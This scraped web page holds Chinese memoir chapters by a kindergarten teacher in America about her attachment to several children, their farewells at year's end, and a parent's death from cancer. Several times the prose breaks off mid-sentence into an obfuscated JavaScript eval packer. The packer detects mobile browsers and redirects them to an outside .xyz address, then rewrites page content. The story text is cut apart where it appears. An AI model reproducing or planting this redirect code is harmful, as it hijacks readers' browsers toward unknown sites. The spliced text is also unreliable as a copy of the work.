半熟的乔恩 乔恩是一个黑色卷发的中美混血小男孩,大大的眼睛,皮肤很白,只会说英文,行事做派完全是美国人的样子。他身材瘦长,头脑清晰口齿伶俐,语气自信不卑不亢,和奥丽一样都属于那种小大人的样子,不过卡伦笑他看到别的孩子哭会很成熟地劝别人“这没什么好哭的”,可是同样的情况轮到自己便立刻忘了说过的话。 不知道是否因为有一半华人基因,他天生对我很亲近,总喜欢坐到我腿上主动和我说这说那,起初他常向我描述他玩的一款电脑游戏,一说就说很久,种种细节不厌其烦却又有些没头没尾,我虽然一头雾水,为了不打击他的积极性总是装作很感兴趣的样子当听众。 有一次乔恩又和我描述他钟爱的游戏,嘉娜在一旁看出我的茫然,笑着问我:“你知不知道他在说什么?” 我撇撇嘴道:“我猜是一款游戏。” 嘉娜说:“是一款电脑游戏。” 乔恩似乎意识到了什么,自此之后和我的话题里再也不涉及游戏了——这孩子真的很聪明,从我与嘉娜的一问一答和微表情里立刻觉察到我对他玩的游戏并不了解也不感兴趣,却既不生气也不强人所难,双商高心肠也好。 班上有一个叫弗雷德的小男孩是乔恩的小跟班,虽然口齿不清不擅表达,却不妨碍他欣赏优秀的人和事,所以总喜欢跟在乔恩屁股后面,乔恩对我说话时弗雷德偶尔在旁边激动地想插上一两句,却一开口就不知所云地词穷,于是又心甘情愿地闭上嘴听乔恩说,有时他想打断乔恩说点别的,乔恩立刻一副很成熟的样子阻止他道:“弗雷德,我正和彦岚说话呢。” 一天午睡时不知谁播放了一张印度歌曲的音乐光盘作为背景音乐,卡伦嫌烦就换了一张光盘,这时睡在小床榻上的弗雷德突然来了一句:“为什么要换?很好听呀!” 另外几个小朋友也跟着附和:“对,很好听呀!” 卡伦没理会他们,我却为小朋友们的反应莞尔,感叹他们对于不同文化的包容性。 这时睡在房间另一边的乔恩抽泣起来,我明白他这是又想上厕所了,乔恩虽然大部分时候总是高高兴兴的,却有一个小毛病,就是午睡时如果想上厕所就开始抽泣,有时还撒娇似地哭着抱住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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离学年结束只剩下几个月了,洛霖每周一、三、五来幼儿园,而我与她的交集只有下午,眼看能和她相处的时间已经屈指可数。 我对她说:“你知道吗?再过几个月你就要去新的班级了。” 她说:“不,你说的是假的。” “我说的是真的。” 她的神情变得有些严肃和落寞,小声说:“我会很想你的。” 我说:“我也会想你,不过我想你过一年就会把我给忘了。” 她很坚定而强硬地说:“不,我永远永远都不会忘记你!” 原本洛霖并不是特别黏我,自从这次对话之后她似乎开始珍惜和我相处的时间,偏偏我连着几天暑湿感冒不得不请病假,又少了两次见到她的机会。 星期二回去上班,正在小床榻上午睡的弗雷德抬起身子很认真又八卦地小声问我:“彦岚,彦岚,你去哪儿了?” 我说:“我病了。” “哦。”他恍然大悟地点点头,又重新趴回去。 吃零食的时候一群小朋友也围在饭桌上好奇地问我怎么了,我耐心地向他们解释:“我病了,我想是因为教室里开空调太冷而外面又太热,我的身体无法适应造成的。” 星期三进教学楼时刚好遇见洛霖从厕所里出来,距离上次见到她已经过去整整一周了,小小的人儿看到我格外亲热,主动上来拉住我的手,我们就这样一直手牵着手走回教室。 午睡起床后洛霖到我身边问长问短,一有机会便往我身上蹭,常常屁股一抬就坐到我腿上,我也很享受地把她抱在怀里。 因为这次生病她似乎更加依恋我了,对我说:“我已经有两次没见到你了。”又问我,“你脖子上的疤是怎么回事?” 我解释:“我前段时间去海滩被晒伤了。” 她放学临走前来拥抱我,居然还不忘对我说:“希望你的晒伤早点好起来。” 星期五再见面时洛霖还显得有些拘谨,去室外活动前她问我自己是哪一组的,我说“你是我这组的”,她立刻高兴地欢呼:“太好了!” 我问她为什么,她回答:“因为你是我最喜欢的老师!” 有她这句话,对她的爱和为她所做的一切都值了。 我说:“你也是我最喜欢的宝宝。” 她听到“宝宝”两个字咯咯地笑起来,好像觉得自己是个大孩子了,我把她说成“宝宝”很好笑,随后我走到哪儿她便跟到哪儿,一副分不开的样子。 我喜爱地把她一把抱起来说:“我希望有一个你这样的宝宝。” 她开心得眼睛眯成了一条缝。 到了操场上,我在沙池边坐下,正和欧妮在附近玩耍的洛霖看了我一眼,心有灵犀地笑着向我走过来,一边脱鞋一边宣布:“我要到沙池里去玩”。 欧妮说:“我不要去沙池玩。” 洛霖说:“我要去。”脱完鞋走到我旁边坐下开始挖沙,欧妮便也跟了过来。 这时在沙池里玩的丽丽让我帮她找沙里的石英石,我找了一个给丽丽,洛霖和欧妮也跟着找,我又找了一个给洛霖看,她伸手便抢,还说:“这是我的。” 我躲开道:“不,这是我的,不过如果你跟我要的话我会给你。” 她倔强地说:“我才不要。” 后来我把找到的两个云母片给她,她却一把拿起来扔在沙里,我有些不高兴地说:“你这个坏姑娘。” 她连忙从沙里拣回来一个云母片还给我,还解释:“我只找到了一个。” 这个孩子的个性很强,聪明淘气又敏感,喜欢处于掌控别人的地位不肯轻易顺服,无奈我就是喜欢她,总是宠着她,在她淘气时也不忍心说她,而这些她都准确地捕捉到了,因着我无条件的接纳在我面前愈加安心和“放肆”,有时甚至没大没小地搭着我的肩膀搂着我的脖子逗我。 洛霖随后在玩具箱里意外地找到几个塑料小人,觉得是好东西,分给她的姐妹一个,还很“爷们儿”地扔了一个给我,又淘气地抓起一把沙放进我搁在沙池边的鞋里。 我说:“你这个小淘气。” 她说:“我不是小淘气,我是可可(Coco)。” “可可”是她给自己起的昵称。 我故意逗她:“你是椰子(Coconut)。” “我不是椰子,我是可可!” 她抗议道,又一把摘掉我的帽子戴到自己头上,我所有的帽子都被她这么试戴过了,这其实是很不礼貌的行为,可我还是不忍心认真说她,只让她把帽子还给我。 她一边跑开一边说:“不,现在这是我的帽子。” 我只得无奈地摇摇头。 欧妮也有样学样地要来摘我头上盘头发的发夹,我连忙制止,她不解地问:“为什么我不能拿?” 我简单解释道:“因为我不喜欢。” 其实真正的原因一方面是因为发夹拿掉头发会乱,重新整理很不方便,一方面是因为被孩子戏弄得披头散发有损作为老师的威严,一方面是因为——她不是洛霖啊!我想如果洛霖来弄掉我的发夹我也没法儿动气吧。 不过洛霖做事还是有她的分寸的,如果我真生气了或是严厉地批评制止她(目前极少发生),她便会立刻停止自己的行为。 后来大家收拾玩具准备回教室,洛霖主动把帽子还给我,还很卖力地帮忙收拾玩具,最令我感动的是,曼达在前面先带孩子们上台阶,我在后面用塑料布把沙池盖上,洛霖居然一直独自站在台阶下面等我到最后,还冲我喊:“彦岚,我等你!” 我三步并作两步追上去,她心满意足地拉住我的手才和我一起上台阶,看来这些日子真是没白疼她,不过洛霖在心里好像把我当成她的朋友多过老师了。 回到教室吃完零食,洛霖看见我在画画桌上写日志,跑过来说“我要坐在这里”,然后坐在我旁边用彩笔在纸盘子上画面具,还说是给我画的,虽然画完并没有给我。 丽丽妈妈来接丽丽的时候正看见洛霖爬到我腿上坐下说“我喜欢坐在你腿上”,欧妮在一旁说“我也喜欢坐在你腿上,我也要坐”。 我笑着对丽丽妈妈说:“双胞胎。” 她说:“真好!” 洛霖妈妈来接孩子时我才知道她们全家接下来一周要去鳕鱼角度假,那么剩下屈指可数的相处机会又要减少三次了。从事幼儿教育这一行业就是这样,注定要不断经历相遇、相知、分离的阶段,与凯茜和林肯那次分离是我的第一次,也是打击最大的一次,从那之后我便仿佛有了免疫力,对分别已经看淡了许多,我知道和洛霖的分离迟早会来,也已经提前在心里完成了与她告别的准备,只是不知道当那一天真的到来,我会怎样,她又会怎样。 洛霖度假回来恰逢我身体不舒服又请了一次病假,原本以为许久不见她会对我格外亲热,没想到她再见到我时却似乎又疏远了,我虽然暗暗有些失望,还是接受了这个现实,心想小孩子大约就是这样吧,今天想起来了对你很亲,明天就忘了,而我们始终是要分别的,我原本也不应该在她身上寄托太多的情感,倒有些忽略了其他孩子。 隔天到学校时正巧碰见洛霖和欧妮以及两个男孩大卫和路易坐在花坛的木沿上排队等着进去上厕所,洛霖今天一看见我就满脸笑容,很亲热地上来张开手臂要我抱,我非常开心地把她抱起来紧紧搂了一下,欧妮也有样学样,还亲热地把脸贴在我的脸上,然后大卫和路易都要我抱,不过太重没完全抱起来。 整个下午洛霖都表现得对我很依恋,午觉也没睡,睁着眼睛躺在小床榻上一直往我这边瞧,我便频频向她报以微笑;睡觉起来我领她去厕所的路上摸摸她的头发比着说“你长得好高,都到我的腰了”,她便开心地扑到我怀里来和我比身高;带孩子去操场时我手里拿着孩子们的公用水瓶,洛霖主动要过去和自己的水瓶一起抱在怀里,又腾出另一只手来牵着我空出来的手,直到下台阶时拿不了了才还给我。 在操场上洛霖几乎总是黏着我,和欧妮一起拿我的手机拍照玩,我带米米上厕所她也一起跟去,回来的路上一直亲热地抱着我的胳膊还亲了两下,我也怜爱地摸摸她的脸蛋作为回应。 回到操场,我说:“我要去沙池边坐下。” 她马上说:“我要和你坐在一起。”然后一路跟着玩我手腕上的手表。 过了一会儿她跑开去玩弹力球,骑着弹力球回来在我身后边蹦边说“我回来了,我在这儿,我要待在你身后玩弹力球”,时而又在后面搂一下我的脖子。我当然很享受洛霖在左右的时光,可是幼儿园不主张孩子太黏老师,为了对所有孩子公平起见我也不宜表现得太过,所以表面上只是淡淡的。 后来洛霖骑着弹力球跑开摔了一下,撇着嘴想哭,我问“怎么了”,过去把她抱起来,她“哇”地哭出来,我把她搂在怀里安慰着。 旁边的卡伦和嘉娜闻声向这边望过来,卡伦一脸询问的表情,我连忙解释“洛霖刚才摔倒了,我检查了一下没有看见任何伤痕”,她们便又将脸转向别处。 这时感觉到洛霖紧紧搂着我的脖子,把脸埋在我的肩窝里依偎着,倒有些借机撒娇的意思,我突然意识到她其实很想和我亲近,于是紧紧回搂着她,也顾不得其他老师会有什么看法了。 洛霖渐渐停止了哭泣,我问她:“你觉得好些了吗?” 她点点头。 “你准备好去玩,还是想在我旁边再坐一会儿?” 我又问。 “我要再坐一会儿。” 她说。 我把她放下来,她却踮起屁股重新蹭到我身上坐下,过了一会儿我还是让她下来坐在我旁边,她便一直没有离开,跟我和旁边的米米、路易一起聊天。 回教室后洛霖和欧妮的妈妈来接她们了,她们临走前来拥抱我和今天的关门老师嘉娜,我当着洛霖妈妈的面较为克制地回抱了她们,洛霖妈妈在门口和嘉娜说话的当口洛霖又跑回来拥抱我,这回我紧紧地抱了抱她,说“我的甜心,再见”,又在她的脸上亲了一下——无法抑制地喜欢洛霖,很多时候已经打破了我对所有孩子一碗水端平的原则。 星期一一进教室就被一个小人儿从背后猛地抱住,我一面回手反抱一面回头,果然看见洛霖满脸激动地仰头望着我笑,心里不禁一阵感动。下午洛霖在操场上却是各种作,和欧妮两人一前一后爬到我身上肩膀上脖子上,拿我的帽子摘我的发夹,就差上脸了。 我起先笑着说“我是一棵长了孩子的树”,不过摘发夹令我头发凌乱形象和威严受损这件事有些超出了我的底线,我招招手让拿着我的发夹跑开的洛霖回来,对她说:“那不是玩具。” 洛霖一开始不听,以为还在和我闹着玩,后来见我表情严肃起来才过来把发夹还给我,可是一转脸又来摘,欧妮也跟着学。 周围都是其他老师和孩子,我必须维护作为教师的威严,否则成何体统?于是严肃地对她俩说:“最后一次,我不希望你们拿我的发夹,你们听见了吗?” 正打算拿发夹的欧妮认真地回答“好的”,放开了手,洛霖却一下子跑到其他老师那里撒欢去了——她今天下午似乎总是这样,只要我说她两句或是没有满足她的要求就会立刻跑开,仿佛在小小掩饰自己受损的自尊心,不过过一会儿又回来了,我也不理会她的小性子,且由她去。 快要回教室的时候洛霖突然皱着眉含着泪从远处土坡走到我跟前,模样狼狈,膝盖和手上都是土,对我说:“我的腿破了,我刚才滚下来了。” 我可以想象她刚才在土坡上玩得有多野,她其实是个充满野性的孩子,很小的时候就和比她大半岁的孩子一起在树桩上跳来跳去,前两天也是和几个班上比较大的孩子一起在几个大轮胎之间跳跃,一直坚持了很久,到最后腿都软了也不肯停下,喜欢尝试具有挑战性的项目,却又常常控制不了自己的身体,摔倒了能忍则忍,忍不了就哭,刚才还因为我的一句话就和我使小性,现在摔倒了还是第一个想到来找我。 她又像上次那样扒到我身上来搂住我的脖子,张开嘴就要哭,当着其他老师的面我不便对她表现得太溺爱,也怕她从此形成了习惯,便说:“你先冷静下来我才能帮你。” 她停止哭泣,我对嘉娜说要带洛霖进去清洗一下,嘉娜看了一眼道:“没什么,我们可以待会儿进教室再帮她清理。” 可是过了一会儿我看见洛霖的膝盖渗出血来,又告诉嘉娜,嘉娜让我先带一组孩子进去。 在厕所里帮洛霖清洗了一下,发现她的膝盖只是划了一道很小的口子,就用一块很小的创可贴帮她贴上,她还开心地对欧妮说:“我的伤口很小,小创可贴正好。” 星期三洛霖午睡起来从后面抱抱我,吃完零食又坐到我腿上,我抱着她,举着她的两只小手拍一拍她的小脸说:“下周你就要去大班了,我会想你的。” 不知怎的她突然跑开去玩地毯上的玩具,再没搭理我,弄得我还挺没趣。 不过去操场的路上她又和我亲热起来,伸手拉着我的手,到操场上又和我坐在一起很久,拿一个呼拉圈把自己和我套在一起,唱着自己编的歌:“我想在学校的每天都见到你,但是如果你生病我就见不到你了。” 我听清楚她在唱什么之后不禁动容——原来她每天都想见到我,原来我生病的时候她会想我,而不止是我在想她。或许她永远不会知道我有多爱她,我也永远不知道她有多爱我,可是,亲爱的小孩,你会在多久之后就把我、把我们之间这段美好的爱忘记呢? 星期五我因为想着如何与班上所有孩子拍一张临别前的合影而有些心不在焉忽略了洛霖,午睡时她还和欧妮一人拿着一只毛绒玩具熊兴奋地小声告诉我她们昨天去动物园了,下午在沙池里她又绕到我身后要拿我头上的发夹被我略微严厉地制止,没想到从此洛霖便疏远我了,我摸摸她的小脸想缓和一下,她却跑开再没回来,我看见她跑到她上小班时的老师凯莉身后亲热地紧紧抱住人家,下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463149|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们的妈妈来接她们,两个孩子连招呼都没和我打就走了。 我虽然有些失望却并未太在意,觉得洛霖只是在耍小性子,下周一是她在中班的最后一天,相信她不会放弃和我好好告别的最后机会,我也会好好补偿她,给她留下一个美好的回忆。 周末独自外出散步,满脑子不由自主想的都是洛霖,想象着她长大后将成为什么样的人,会不会是一个美丽又有性格的创作型歌手,会不会像我对她一样对我无法忘怀,心里竟满是悲哀。 星期一是洛霖在中班的最后一天,一到学校卡伦就转交给我一张来自洛霖父母的感谢卡,里面还夹着一张面包店的代金卡。 午睡时我特意坐到洛霖和欧妮的小床边,洛霖与我拥抱了一下,午睡前还冲我笑,可是之后的整个下午她对我再没有任何亲密的表示,跑得远远的和小朋友玩,偶尔经过我身边也未做任何停留,倒是在卡伦的逗弄下和欧妮一起爬到卡伦腿上笑闹了很久——卡伦也很喜欢这对双胞胎,在最后一天着意创造和她们亲密互动的机会,我当然不好跟班主任抢风头,一直默默地坐在旁边角落里。 我预设了各种离别的场面,甚至担心自己会承受不住,却没想到最后什么也没发生,平淡到不能再平淡,我和洛霖的关系好像又退回到了从前。很快她们的爸爸妈妈一起来接她们了,令我很意外的是夫妇俩特意当面向我表达了感谢,二人似乎一致认为我是个深得他们两个女儿喜爱也很喜欢他们女儿的好老师。 可是今天洛霖一直对我淡淡的,连临走前最后的拥抱也很敷衍,当我说“让我亲亲你”时甚至挣脱我跑掉了;欧妮也是在我说“欧妮,我的拥抱呢?”之后才想起来给我一个拥抱,不过她的这个拥抱比洛霖的要热烈和有感情得多,我对欧妮的爱远没有对洛霖强烈,欧妮对的我喜爱倒是一直稳定地持续到了最后。 我原本希望最后一天能和洛霖有一个美好的结局,这样将来当她想起我时会是美好的回忆,偶尔在学校遇见我也会欢喜地过来给我一个拥抱,只是没想到情况急转直下变化太快,这样的结束不免令人感到遗憾,略为讽刺的是她们的父母还双双在一旁期待着女儿对“最喜欢的老师”最后的不舍,今天的离别倒是家长比孩子更用心了。 她们就这样走了,我和洛霖从当初的原点回到原点,中间仿佛只是经历了一场美梦,洛霖对我的爱始于我对她无限的示好和包容,终于我对她的管教,我像是一个她觉得不好玩了的玩具,毫不犹豫地抛诸脑后。 我以为和洛霖之间的缘分就这样结束了,没想到还有一点后续。 新的学年我们经常在走廊或厕所偶遇、在操场上遥遥相对,擦肩而过时四目相视两两相望,小小的人儿笑容略带羞涩,眼神穿过所有人目不转睛地盯着我,便如我盯着她,交错之际彼此间似有尽在不言中的默契。偶尔她会扑上来抱住我,有时也会像没看见我似的自顾忙自己的事或是听从大班老师的指挥,不过有那些时而的四目相对和扑将上来我也满足了,至少说明洛霖并没有忘记我。 一次在厕所里遇见洛霖站在水池前洗手,我过去拿了一张纸巾,看见她正从镜子里开心激动地冲我笑,我笑着摸摸她的脸,回身去照顾自己班的小孩,她洗完手立刻扑过来抱了我一下。 另一次中班和大班在操场上的同一个区域活动,洛霖正在几个大轮胎上面跳来跳去,看到我笑着说:“又见到你了”。 我注意到她和我一样也穿着条纹衫,指着自己的衣服对她说:“我们穿着一样的衣服。” 她低头看看自己的衣服笑道“是的,我们穿的一样”,然后继续跳轮胎,倒是欧妮跑到我身边和我紧紧拥抱了一下,抱完抬头笑望着我,我便在她的小脸上亲了一下,在一旁玩耍的从前班上的几个孩子这时也纷纷过来和我拥抱。 过了一会儿杜冰来到操场上,我听见洛霖大声说“我要给杜冰一个拥抱”,接着便跳下轮胎,和欧妮一起双双扑进杜冰的怀里。 我在一旁看着心里不免酸酸的,心道原来洛霖对谁都是激动地扑过去,并不只是对我这样,而且她看到我只是在轮胎上打声招呼,看到杜冰却立刻从轮胎上跳下来主动上前拥抱,看来我在她心中的地位还不及杜冰。 感到有点悲哀,正好我们班有孩子要上厕所,我便领着他们离开了。 带孩子上完厕所回到原处坐下,洛霖突然跑过来和我比着衣服说:“我们俩的衣服不一样。” 我这才注意到我的衣服是黑色细条纹,她的衣服是深蓝色细条纹,于是说:“是啊,我的是黑色你的是深蓝色。”——原来刚才我对她说的那句话她听进去了,而且观察得很仔细。 她几乎是强行爬到我的腿上坐下,我便伸手紧紧搂住她,她的脸离我的脸很近,后来索性把软软的小嘴巴贴在我脸上,口水糊了我一脸,可是我一点也不在乎,相反觉得很幸福。 欧妮也跑过来坐在我旁边,米米从另一侧跑过来,我便伸手把她们三个都搂着。 听见洛霖对我说:“我想去你家。” 她的话让我有些意外和感动,就像有一次她说“我想在学校的每天都见到你,可是如果你生病我就见不到你了”,这些话仿佛她对我一次次不经意的表白,说明我在她心里确实是特别的,她渴望更近一步了解我和我的生活。 其实这么可爱的宝宝我又何尝不想把她带回家呢,但是教师的身份令我显然不能那么做,于是只是对她说:“我也想去你家。” “那你来啊!”她倒是很大方。 “但是我需要你爸爸妈妈的邀请。”我回答。 她绕到我背后顽皮地把我的大部分头发抓成一撮,说:“我可以给你梳一个很小的辫子。” 我说:“是啊,你有没有注意到我剪头发了?” 她说:“我也剪头发了。” 我说:“我知道”。 她用手捂着我的脸挡住头发只露出中间部分,说:“你看上去不一样。” 整个暑假我都是盘着头发,开学才剪短了头发披下来,她大约是想恢复我盘发时的样貌。 我也如法炮制,捂着她的脸说:“你看上去也不一样。” 她便咧着嘴咯咯地笑。 不一会儿她又搂着我的脖子吊在我背上,我说:“小猴子。” 因为不好让别的老师觉得我玩忽职守,一边和洛霖亲热着,一边我的眼睛还在看着自己班的孩子,显得对她不是完全在意的样子。这时我们班一个孩子手里抓着一把树叶过来对我说要把这些留给他爸爸妈妈,问我能不能帮他收着,我忙着帮他找地方藏树叶,这引起了洛霖的醋意,她立刻从我的背上跑开了——洛霖的爱一直飘忽不定,有点像恋爱中男女之间的试探和拉扯,其实挺折磨人的,可是我没办法令她明白,爱不是独占,也不是失去原则和底线。 那天是我与洛霖最后的甜蜜,后来她在操场上看到我就像看到陌生人,虽然仍时常与欧妮一起回中班教室和所有老师抱抱,可和我拥抱时却连眼神交流都没有,甚至我亲她时她还嫌弃地使劲擦脸,反倒欧妮每次见到我总是一如既往温和地微笑——我知道曾经的那个洛霖已经死了,被永远埋葬在了去年的记忆里。 75.第十七章 “小狗”男孩 卢卡斯要跟着全家去度假,今天提前离校,临走前他莫名其妙跑到我跟前来将嘴里吃剩的黄瓜吐了我一身,我让他停下他也不听,一副嬉皮笑脸的模样,我就拉下脸来严肃地说:“一点也不好玩,你这样会传播细菌让其他小朋友生病的!” 嘉娜这时在旁边对我说:“今天是卢卡斯在中班的最后一天。” 我这才知道,猜想刚才可能是卢卡斯一种独特的对我表达感情的方式,于是问他:“你要不要给我一个拥抱?” 结果他把脸埋在我怀里给了我一个结结实实的拥抱。 卢卡斯是我面试时见到印象比较深刻的一个孩子,一头狮子鬃毛般的卷发,身体不合比例地胖大,手指头像一根根胡萝卜,两只眼睛往一块儿挤,看上去有点智力低下的感觉。 后来接触多了,我发现卢卡斯声音很粗像个变声期的男孩,口齿也有些不清楚,但其实并不傻,人也很善良,就是动作没轻没重,经常在经过我身后时很有“男友力”地一把搂住我的脖子以示亲热,我便反手拍拍他的背,他就放开去做其他事了。有一次我背对沙池坐着,他也这样一把从后面搂住我,结果因为力气和体重都太大,我一下子被他掀翻了下去,他也被我压在身子下面,好在双双跌在沙池里都未受伤。 学年初有一段时间卢卡斯很喜欢到处舔人,所有人一不小心就会被他湿乎乎的大舌头舔上一口,他还特别喜欢和班上一个个子很小不太会说英语名叫爱迪生的中国小男孩一起玩,经常驮着爱迪生在教室的地毯上爬来爬去,我甚至怀疑他是不是小狗投错了胎,杜冰在教师会议上评价他“像个矮人,又像小狗”,我深有同感。 最终是南希给的建议治好了卢卡斯舔人的毛病,在他要舔人的时候对他说“如果你需要的话我可以给你一根胡萝卜让你舔”,卢卡斯听到这句话很不开心,讪讪地停止了动作,从此大家相安无事。 不知道是不是因为爱迪生也不太会用语言表达的缘故,这一对体型差距巨大的孩子居然从一开始就成了形影不离的好朋友,都不太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468892|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢和其他孩子玩,彼此却特别投缘。爱迪生发明创造了一个词“嘟嘟哧”,卢卡斯不仅学了去,还和爱迪生一起一遍遍不厌其烦地在教室里“嘟嘟哧、嘟嘟哧”,搞得最后全班的孩子都学会了这个词。 最近卢卡斯又从爱迪生那里学会一个发音纯正的中文词“屁股”,两个人一天到晚“屁股”来“屁股”去,不少孩子也跟着“屁股屁股”地说,搞得我头都大了,向卢卡斯解释了一次“屁股”的意思,没想到从此以后他说得更来劲了,我只好自动进行屏蔽。 一天我在便利店买东西结账时碰巧遇见卢卡斯的妈妈带着他也在排队,我亲热地上前和卢卡斯拥抱,卢卡斯有些害羞地将毛茸茸的大脑袋埋在我怀里,周围的顾客欣慰地看着这有爱的一幕报以微笑,连便利店的收银员都立刻对我满脸笑容。 卢卡斯的妈妈前几天来接卢卡斯时抱着一个一岁左右的小女孩,看上去伶俐可爱,和卢卡斯有几分相像,卢卡斯一副很疼爱妹妹的大哥哥模样,流露出从未有过的温柔。 76.第十八章 相聚离开 转眼一年过去,眼看这个班的孩子就要升入大班,小班的孩子也即将升入中班,学校为了给孩子们创造一个更加平顺的升学过程,鼓励各班这段时间的室外活动在一起进行,好让孩子们有机会和新老师彼此熟悉。 下午小班的老师领着她们班的孩子过来和中班的孩子一起在沙池里玩,我就和身边几个小班的女孩聊天,还用一截树枝在沙上给她们画蝴蝶。有一个叫梅梅的小女孩似乎特别喜欢我,围在我身边问东问西,她大大的眼睛,乌黑的头发编成两条粗粗的辫子,面部轮廓有点像东南亚人,后来我才知道她是华裔。 这时我们班的中国小男孩磊磊突然表现得特别积极,在一旁又是拿大顶又是翻跟头,还不停地冲着梅梅喊:“梅梅,看我!梅梅,看我!” 我不禁感到既好笑又惊讶,磊磊个子很高,看上去像五六岁大的孩子,不知道是否家长在家教的缘故,智力水平也像五六岁,会玩“连连看”,很轻易能数到一百以上(卡伦对磊磊的数学能力感到十分吃惊),喜欢用纸做钱,不过也过早地褪去了童真,平常话不多,喜欢远离老师自己玩,我和他打招呼他有时也像没看见似的,感觉很木,没想到竟还有这样的一面。 不过梅梅似乎对磊磊的高难度动作不太感兴趣,更喜欢和我说话,恰逢磊磊的爸爸来接磊磊,见到此情此景无奈又会心地冲我笑笑,似乎早已了然于心。 磊磊的爸爸看上去四十多岁,个子高高瘦瘦,头发不多,戴一副眼镜,有时磊磊的奶奶来接磊磊,我从她口中得知磊磊的爸爸竟然和我一般年纪,比我早一年来美国留学,和磊磊的妈妈都是哈佛的博士,工作后在学校附近的小湖旁边买了一栋房子,从未去过美国其他城市。 进教室前剩下的十几个孩子在木头上坐成一排,叽叽喳喳非常吵闹,卡伦说:“你们要是再这么吵我就把你们卖到马戏团去。”这是她经常逗孩子的一句话。 所有孩子都安静下来,半信半疑又有些忧心忡忡地看着卡伦,坐在排尾的让终于鼓起勇气脆生生地问了一句:“你怎么卖?” 其他孩子也都关注地望着卡伦等待答案。 卡伦回答:“我会给马戏团打电话说我这里有一些疯小孩。” 所有的小孩都不吱声了,我却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468893|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在心里笑得要死。 临近学年末尾,有机会时我会和孩子们聊一聊有关分别的话题,对他们说:“下星期一就是你们在中班的最后一天了,你们去大班后会想我吗?” 没想到大部分孩子都没心没肺的,嘻嘻哈哈地说“不会”,似乎还理解不了离别的概念。 倒是年龄和心理都比较成熟的乔恩有一天居然主动跑到我跟前来,有些伤感地对我说:“彦岚,下个星期我就要去学前班了,我会想你的。” 我没想到乔恩竟如此有心,觉得意外又感动,紧紧搂住他说:“我也会想你,不过在操场上我们还是会经常见面的。” 另一个有心的孩子是丽丽,学年最后一天的下午她突然很依恋地跑过来坐到我腿上,紧紧搂着我不放。 下班前班上几位老师很有仪式感地坐在靠近门口的一排椅子上,等着和每一个被接走的孩子拥抱告别,我还在每个孩子的脸上亲了一下,内心充满感慨和不舍。 那天结束后我专门到学校附近的小湖边独自坐了一会儿,好消化吸收内心的那份怅然,同时也准备好迎接新一届孩子的来临。 77.第十九章 劳拉之死 新学年的一天曼达突然对我说:“你知道吗?劳拉去世了。” 我震惊之余望着曼达久久未说出话,眼眶竟然一阵酸楚潮热,她也眼泛泪光。 劳拉是去年中班的孩子路易的妈妈,大半年前查出患了乳腺癌,当时她肚子里还怀着路易未出生的妹妹。 路易是一个潜在的小帅哥,长得有点像电影《茜茜公主》里的弗兰茨,但他还处于帅而不自知的年纪,冬天经常拖着两条大鼻涕来向我告班上几个小男孩的状:“他们叫我鼻涕脸!” 我只得一边帮他把鼻涕擦掉一边对那几个男孩说:“不可以叫小朋友鼻涕脸。” 那时劳拉还是一位热爱生活的健康女士,一头秀丽的金色长卷发,过新年时会精心制作上面印有路易和他的小哥哥的照片的贺年卡送给老师,给我的那张上面写着: “彦岚,谢谢你日常为照顾和培育路易所做的一切,我们感激你每天展现的笑容和热情,祝你和全家新年快乐! 路易一家” 劳拉确诊癌症后进行治疗剃掉了头发,起先她来接路易时会戴一顶很不自然的假发,后来假发换成了毛线帽,再后来索性坦然地光着头,看来已经迅速接受了现实。 路易满四岁那天,劳拉光着头怀着肚子里的妹妹领着路易在学前班的小哥哥来教室给他过生日,她独具匠心地为每个小朋友和老师都准备了一小盆“蛋糕花”:陶土花盆是硅胶做的,花盆里的土是黑巧克力蛋糕,土里的青蛙和虫子是软糖做的,插在每个花盆中间的绿色塑料勺柄上都绑着一朵不同颜色的绢花。 当路易和所有小朋友投入地享用着这新奇的生日蛋糕时,劳拉微笑地站在一旁忙着给孩子们拍照,等孩子们吃完又张罗着回收花盆和勺子,说:“我还得把这些还给蛋糕店。” 那是路易和妈妈一起过的最后一个生日。 学年结束时我又收到来自劳拉的一张感谢卡: “彦岚,谢谢你今年为照顾路易所做的一切,我们感激你对孩子沉着而温和的方式。路易花了几周时间才记住你的名字,但他现在总是坚定地要求我要说对。谢谢你对孩子们的耐心、精彩的下午日志更新以及每天接孩子时不变和温暖的问候。路易一家” 